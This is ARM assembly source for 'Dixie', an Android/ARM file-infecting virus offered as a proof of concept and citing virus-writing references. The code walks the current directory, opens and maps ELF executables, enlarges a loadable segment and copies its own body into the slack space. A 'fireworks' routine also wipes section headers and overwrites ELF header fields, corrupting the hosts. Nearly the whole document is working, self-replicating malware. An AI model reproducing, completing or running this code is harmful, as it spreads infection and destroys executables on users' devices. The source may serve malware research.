; Dixie: Android/ARM VxD Proof Of Concept
; References:
;	- Silvio Cesare: http://vxheaven.org/lib/static/vdat/tuunix01.htm
;	- Mark Ludwig: http://vxheavens.com/lib/vml01.html
;	- ARM: http://infocenter.arm.com
.text
.global _start
_start:
0: // Self segment Read and Write Permissions.
	and r0, pc, $0xf000				// PC 4049 bytes PAGE_SIZE aligment (lower address)
	bl _fullPagePermissions
	cmp r7, $0
	bne _End_Program
1: // Open Actual directory to loop through his entries.
	adrl r0, actualdir
	bl _openDir
	cmp r7, $0
	ble _End_Program
	mov r5, r7						// r5: actualdir file handle.
2: // While we have antries to work with, check and try to infect.
	_WhileDirEntries:
		// getdents sycall call
		mov r0, r5
		bl _getDirEntries
		cmp r7, $0
		ble _End_Program
		mov r6, r7					// r6: bytes readed into linux_dirent buffer
		mov r0, $0x00
		mov r4, r0
		_WhileEntriesToRead:
			// Extract file name address from linux_dirent buffer
			mov r1, r6
			bl _getEntryFileName
			cmp r7, $0x00			// r7: file name address.
			beq _WhileDirEntries	// no more entries to read.
			// ?¿ xD
			mov r0, r7
			bl _TryToInoculate
			// now try with the next entry (counter++)
			mov r0, r4
			add r0, r0, $1
			add r4, r4, $1
			b _WhileEntriesToRead
		b _WhileDirEntries
_End_Program:
	mov r7, $1
	mov r0, $0
	svc 0

/*********************/
/** File Operations **/
/*********************/
// in: r0 file name address, out: r7 file handle or -N error code
_openFile:
	push {r1-r6, lr}
	mov r1, $2      // open for Read and Write.
	sub r2, r2, r2	// O_RDWR
	mov r7, $0x05
	svc 0
	mov r7, r0
	pop {r1-r6, pc}


// in: r0 file handle, out: r7 file length or -N error code
_getFileLength:
	push {r1-r6, lr}
	mov r1, $0
	mov r2, $2		// SEEK_END
	mov r7, $0x13
	svc 0
	mov r7, r0
	pop {r1-r6, pc}

// in: r0 file handle
_closeFile:
	push {r1-r6, lr}
	mov r7, $0x06
	svc 0
	pop {r1-r6, pc}

/**************************/
/** Directory Operations **/
/**************************/
// in: r0 dir name address, out: r7 file handle or -N error code
_openDir:
	push {r1-r6, lr}
	mov r7, $5
	sub r1, r1, r1	// O_RDONLY
	sub r2, r2, r2
	svc 0
	mov r7, r0
	pop {r1-r6, pc}

// in: r0 file handle, out: r7 bytes readed or -N error code (into hardcoded linux_dirent buffer)
_getDirEntries:
	push {r1-r6, lr}
	mov r7, $141
	adrl r1, linux_dirent_buffer
	adrl r2, linux_dirent_buffer_size
	ldr r2, [r2]
	svc 0
	mov r7, r0
	pop {r1-r6, pc}

// in: r0 N linux_dirent entry to look for, out: r7 name address or 0
_getEntryFileName:
	push {r2-r6, lr}
	adrl r6, linux_dirent_buffer
	mov r5, $0
	mov r7, $0
	_DoWhileEntries:
		cmp r7, r0      	// n entry found ?
		beq _endWithSuccess
		ldrh r3, [r6, $0x08]
		add r5, r5, r3      // size++
		add r7, r7, $1      // counter++
		add r6, r6, r3      // offset++
		cmp r5, r1      	// offset >= buffer size ?
		bge _endWithError
		b _DoWhileEntries
	_endWithError:
	sub r7, r7, r7
	b _endDoWhile
	_endWithSuccess:
	add r7, r6, $0x0A
	_endDoWhile:
	pop {r2-r6, pc}

/***********************/
/** Memory Operations **/
/***********************/
// in: r0 file handle, r1 file length, out: r7 memory address or -N error code
_mapFileInMemory:
	push {r2-r6, lr}
	mov r5, $0x00	// start mapping file from offset 0.
	mov r4, r0		// file handle to map.
	mov r3, $0x01	// MAP_SHARED
	mov r2, $0x03	// PROT_READ & PROT_WRITE
					// r1: file length.
	mov r0, $0x00	// map into NULL base address (kernel chooses the address).
	push {r0-r5}
	mov r7, $0xC0
	svc 0
	mov r7, r0
	pop {r0-r5}
	pop {r2-r6, pc}

// in: r0 memory mapped base address, r1 memory mapped size (bytes)
_unmapFileFromMemory:
	push {r1-r6, lr}
	mov r7, $0x5b
	svc 0
	pop {r1-r6, pc}

// in: r0 memory address to work with (1 page at a time), out: r7 0 on success
_fullPagePermissions:
	push {r1-r6, lr}
	adrl r1, page_size
	ldr r1, [r1]	// 0x1000 page size.
	mov r2, $7      // PROOT_READ | PROT_WRITE | PROT_EXEC
	mov r7, $0x7d
	svc 0
	mov r7, r0
	pop {r1-r6, pc}

// in: r0 base address of unused space to work with, out: r7 always 0
_CopyEvilCode:
	push {r1-r6, lr}
							// r0: write start point
	adrl r1, _start			// r1: read start point
	adrl r2, _end_code
	sub r2, r2, r1			// r2: bytes to read/write
	mov r3, $0
	_FillLoop:
		ldr r4, [r1, r3]
		str r4, [r0, r3]
		cmp r3, r2
		beq _EndFillLoop
		add r3, r3, $1
		b _FillLoop
	_EndFillLoop:
	nop
	_final_party_fireworks:
	and r0, r0, $0xf0000000
	ldr r1, [r0, $32]  // e_shoff
	add r1, r0
	ldrh r2, [r0, $46] // e_shentisize
	ldrh r3, [r0, $48] // e_shnum
	mul r4, r2, r3
	mov r5, $0
	_aa1:
		str r5, [r1, r5]
		add r5, $1
		cmp r5, r4
		blt _aa1
	_aa2:
		mov r1, $123
		str r1, [r0, $20]
		str r1, [r0, $32]
		str r1, [r0, $40]
		str r1, [r0, $46]
		str r1, [r0, $48]
		str r1, [r0, $50]
	mov r7, $0
	pop {r1-r6, pc}

/********************************/
/** ELF File Format Operations **/
/********************************/
// in: r0 base memory address where file was mapped to, out: r7 0 if valid for infections
_validELF:
	push {r1-r6, lr}
	adrl r7, sanity
	ldr r7, [r7]
	// reading ehdr fields
	ldr  r1, [r0, $0x00]    // EI_MAG
	ldrb r2, [r0, $0x04]    // EI_CLASS
	ldrb r3, [r0, $0x05]    // EI_DATA
	ldrb r4, [r0, $0x06]    // EI_VERSION
	ldrh r5, [r0, $0x10]    // e_type
	// checking values
	sub r7, r7, r1			// \x177ELF ?
	sub r7, r7, r2			// ELFCLASS32 ?
	sub r7, r7, r3			// ELFDATA2LSB ?
	sub r7, r7, r4			// EV_CURRENT ?
	sub r7, r7, r5			// ET_EXEC ?
	pop {r1-r6, pc}

// in: r0 file name address, out: r7 0 on success
_TryToInoculate:
	push {r1-r6, lr}
	bl _openFile
	cmp r7, $0
	ble _just_return
	_IfOpened:
		mov r6, r7		// r6 file handle to reuse in other file operations.
		// getting file size to correctly map them in memory,
		mov r0, r7
		bl _getFileLength
		cmp r7, $0
		ble _close_file
		mov r5, r7		// r5 file size to reuse in other file operations.
		// mmap2 call to map file in memory.
		mov r0, r6
		mov r1, r7
		bl _mapFileInMemory
		cmp r7, $0
		blt _close_file
		_IfMapped:
			mov r4, r7	// r4 memory address where file was mapped to reuse in ELF operations.
			// Checking if ELF has valid format to inject our code.
			mov r0, r7
			bl _validELF
			cmp r7, $0
			bne _unmap_file
			_IfValidForInfection:
				// Look for phdr PT_LOAD type and update sizes if has correct format.
				mov r0, r4
				bl _UpdatePTLOADProgramHeader
				cmp r7, $0
				beq _unmap_file
				_IfvalidPTLOAD:
					mov r0, r7
					bl _CopyEvilCode
	_unmap_file:
		mov r0, r4
		bl _unmapFileFromMemory
	_close_file:
		mov r0, r6
		bl _closeFile
	_just_return:
	pop {r1-r6, pc}

// in: r0 base memory address where file was mapped to, r7 offset where unused space start or 0 on error
_UpdatePTLOADProgramHeader:
	push {r1-r6, lr}
	ldr r1, [r0, $28] 					// e_phoff
	add r1, r1, r0	  					// r1: program header entry offset
	mov r2, $1	  	  					// program header entry counter definition
	mov r3, $0		  					// program header index return value definition
	for_phdrs:
		ldr r4, [r1]					// p_type
		cmp r4, $1						// PT_LOAD ?
		bne try_with_next_phdr_entry
		if_LOAD_section:
			ldr r4, [r1, $24]			// p_flags
			ands r5, r4, $1				// PV_X ?
			beq try_with_next_phdr_entry
			if_EXEC:
				ldr r4, [r1, $16]		// p_filesz
				ldr r5, [r1, $20]		// p_memsz
				subs r4, r5				// p_filesz == p_memsz
				bne try_with_next_phdr_entry
				if_CONGRUENT_SIZES:
					ldr r4, [r1, $4]	// p_offset
					cmp r4, $0			// first segment ?
					bne try_with_next_phdr_entry
					if_OFFSET0:
						moveq r7, r2
						b _endFor_phdrs_success
		try_with_next_phdr_entry:
		ldrh r4, [r0, $42]
		add r1, r4						// next program header entry
		ldrh r4, [r0, $44]
		add r2, $1						// counter ++
		cmp r2, r4						// last entry ?
		ble for_phdrs
		sub r7, r7						// finish with error
		b _endFor_phdrs_finally
	_endFor_phdrs_success:
	// [i] Notes: freespace_in_segment_for_injection = ((((size >> 12) + 1) << 12) - size)
	// [i] 		Assuming 0x1000 page size & base address 0xXXXXX000 (the most usual case but not ever is true)
	// [i] 		ARM have not DIV/MOD instructions, I'm to lazy to make the formula without this and i don't want to c&p others work :(

	// r1: 		offset of program (target PT_LOAD) header entry.
	ldr r2, [r1, $16]					// filesz
	lsr r3, r2, $12
	add r3, $1
	lsl r3, $12
	sub r3, r3, r2						// r3: available space in segment for injection

	// getting evil code size to chech if we have enough space.
	adrl r2, _start
	adrl r4, _end_code
	sub r2, r4, r2						// r2: evil code size
	// have we ?
	cmp r3, r2
	ble if_enough_else
	if_enough:
		ldr r3, [r1, $16]
		add r2, r3
		str r2, [r1, $16]				// p_filesz += evil_size
		str r2, [r1, $20]				// p_memsz +=  evil_size
		//  unused space start calculation
		ldrh r4, [r0, $44]				// e_phnum
		ldrh r5, [r0, $42]				// e_phentsize
		ldr r6, [r0, $28]				// e_phoff
		mul r4, r5
		add r7, r4, r6
		add r7, r0						// .text unused space start address
		b _endFor_phdrs_finally
	if_enough_else:
		sub r7, r7
	_endFor_phdrs_finally:
	pop {r1-r6, pc}

/*************************************/
/** Data space inside .text section **/
/*************************************/
actualdir: .asciz "."
linux_dirent_buffer: .space 0x10A
linux_dirent_buffer_size: .word 0x10A
page_size: .word 0x1000
sanity: .word 0x464c4584

_end_code: